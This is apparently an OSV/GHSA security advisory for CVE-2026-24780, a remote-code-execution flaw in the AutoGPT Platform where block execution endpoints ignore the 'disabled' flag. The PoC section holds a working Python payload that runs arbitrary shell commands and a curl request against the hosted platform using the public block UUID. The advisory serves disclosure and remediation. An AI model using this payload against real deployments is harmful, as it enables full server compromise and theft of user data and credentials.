--- id: CVE-2026-24780 aliases: - GHSA-r277-3xc5-c79v - PYSEC-2026-1078 title: AutoGPT is Vulnerable to RCE via Disabled Block Execution summary: AutoGPT is Vulnerable to RCE via Disabled Block Execution severity: high vendor: agpt product: agpt ecosystem: pip affected: - agpt <= 0.2.2 published: '2026-01-29' updated: '2026-07-07' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-r277-3xc5-c79v' references: - url: >- https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-r277-3xc5-c79v - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-24780' - url: 'https://github.com/Significant-Gravitas/AutoGPT' - url: >- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93 - url: >- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424 - url: >- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395 - url: >- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78 - url: >- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459 tags: - osv - pip epss: 0.01193 epssPercentile: 0.6666 ingestedAt: '2026-07-08T18:25:52.521Z' --- ## Overview ### Summary AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the `disabled` flag. Any authenticated user can execute the disabled `BlockInstallationBlock`, which writes arbitrary Python code to the server filesystem and executes it via `__import__()`, achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account. ### Details **Two vulnerable endpoints exist:** 1. **Main Web API** ([`v1.py#L355-395`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395)) - Any authenticated user: ```python @v1_router.post( path="/blocks/{block_id}/execute", dependencies=[Security(requires_user)], # Just requires login ) async def execute_graph_block(block_id: str, data: BlockInput, ...): obj = get_block(block_id) if not obj: raise HTTPException(status_code=404, ...) # NO CHECK FOR obj.disabled! async for name, data in obj.execute(data, ...): output[name].append(data) ``` 2. **External API** ([`external/v1/routes.py#L79-93`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93)) - Same issue. The external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including `EXECUTE_BLOCK`) at [`v1.py#L1408-1424`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424). As a result, a low-privilege user can create an API key and invoke the external block execution route. **The disabled flag is documented but not enforced:** From [`block.py#L459`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459): > "disabled: If the block is disabled, it will not be available for execution." The block listing endpoint correctly filters disabled blocks (`if not b.disabled`), but the execution endpoints do not check this flag. **The dangerous block ([`blocks/block.py#L15-78`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78)):** ```python class BlockInstallationBlock(Block): """ NOTE: This block allows remote code execution on the server, and it should be used for development purposes only. """ def __init__(self): super().__init__( id="45e78db5-03e9-447f-9395-308d712f5f08", # Hardcoded, public UUID disabled=True, # NOT ENFORCED! ) async def run(self, input_data: Input, **kwargs) -> BlockOutput: code = input_data.code # Writes attacker code to server filesystem file_path = f"{block_dir}/{file_name}.py" with open(file_path, "w") as f: f.write(code) # Executes via import (RCE) module = __import__(module_name, fromlist=[class_name]) ``` ### PoC **1. Create malicious block code** ```python PAYLOAD = ''' import os from backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput from backend.data.model import SchemaField class RCEBlock(Block): class Input(BlockSchemaInput): cmd: str = SchemaField(description="Command") class Output(BlockSchemaOutput): result: str = SchemaField(description="Result") def __init__(self): super().__init__( id="aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", description="RCE", input_schema=self.Input, output_schema=self.Output, ) async def run(self, input_data, **kwargs): import subprocess result = subprocess.check_output(input_data.cmd, shell=True).decode() yield "result", result ''' ``` **2. Execute via main web API (any logged-in user)** ```bash # Get session cookie by logging into the web UI, then: curl -X POST "https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute" \ -H "Cookie: session=" \ -H "Content-Type: application/json" \ -d '{"code": ""}' ``` The malicious Python code is written to the server's `backend/blocks/` directory and immediately executed via `__import__()`. **Alternative route:** Mint an API key with `EXECUTE_BLOCK` via `POST /api-keys`, then call the external API `POST /external-api/v1/blocks/{id}/execute`. ### Impact **Any user who can create an account on AutoGPT Platform can achieve full Remote Code Execution on the backend server.** This allows: - Complete server compromise - Access to all user data, credentials, and API keys stored in the database - Access to environment variables (cloud credentials, secrets) - Lateral movement to connected infrastructure (Redis, PostgreSQL, cloud services) - Persistent backdoor installation **Attack requirements:** - Create a free account on the platform (default self-hosted enables signup; hosted deployments may disable signup, requiring an existing account) - Know the disabled block's UUID (hardcoded in public source code: `45e78db5-03e9-447f-9395-308d712f5f08`) **Why the `disabled` flag exists but fails:** - Block listing correctly filters disabled blocks (users don't see them in UI) - Execution endpoints bypass this check entirely - The UUID is static and publicly known from the open-source codebase **Severity note:** CVSS assumes the default self-hosted configuration where signup is enabled (low-privilege authentication is easy to obtain). If signup is disabled in a hosted deployment, likelihood is lower, but impact remains critical once any authenticated account exists. A fix is available, but was not published to the PyPI registry at time of publication: [0.6.44](https://github.com/Significant-Gravitas/AutoGPT/releases/tag/v0.6.44) ## Affected packages - `agpt <= 0.2.2` ## Remediation Refer to the advisory for the patched release.